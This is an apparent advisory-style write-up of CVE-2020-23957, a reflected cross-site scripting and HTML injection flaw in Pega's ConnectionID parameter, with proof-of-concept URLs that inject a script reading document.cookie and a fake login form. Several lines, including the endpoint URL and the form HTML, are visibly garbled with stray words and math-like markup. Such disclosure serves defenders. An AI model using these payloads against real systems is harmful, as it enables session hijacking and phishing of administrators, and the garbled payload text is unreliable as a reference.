













CROSS SITE SCRIPTING IN PEGA CVE-2020-23957

While testing an application that deployed using the Pega framework I came across this reflected cross-site scripting vulnerability and also HTML code injection. I have tested this vulnerability in random versions like 7.4 to current version 8.4.0 I see the same behavior in all existing versions of Pega.

Vulnerable endpoint:

 $URL\ https://redacted.com/redacted/PRAuth/DO7joI3soeSoOCkz5pMNmA\%28\%28*/!TABTHREAD0?pyActivity=Data-time for the property of the property of$

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TRACERS ettings.pz Start TracerSession & Thread Name = Tracer& Connection ID = HX73BLKUO84AKEETR55ZB6DG94ETMXD5R%22%3E%3Cscript%3Ealert (document tracer) and the first of t.cookie)%3C/script%3E

Executing arbitrary javascript and getting the user cookie

((/*, ITABTHREAD0?pyActivity=Data-TRACERSettings.pzStartTracerSession&ThreadName=Tracer&ConnectionID=HX73BLKUO84AKEETR55ZB6DG94ETMXD5R"><script>alert(document.cookie)</script>

Inserting fake html on original page using HTML code injection

((*/!TABTHREAD0?pyActivity=Data-TRACERSettings.pzStartTracerSession&ThreadName=Tracer&ConnectionID=HX73O84AKTMXD5R"></br></br></br> $\label{loginequality} $$ -\sinh\log n \exp(-h)^* = n^*/n = n^*$ type="text" id="fname" name="fname">

<label for="lname">Last name:</label><input type="text" id="lname" name="lname">

<input type="text" id="fname" name="lname">

<input type="text" id="fname" name="fname" name= type="submit" value="Submit"></form>

Vulnerable parameter:

ConnectionID=

Exploit scenarios:

A successful attack can take over the pega admin or grain access to the system via cookie stealing or fake html code injection at vulnerable parameter using some advanced techniques by hosting a fake website or special targeted phishing email etc.

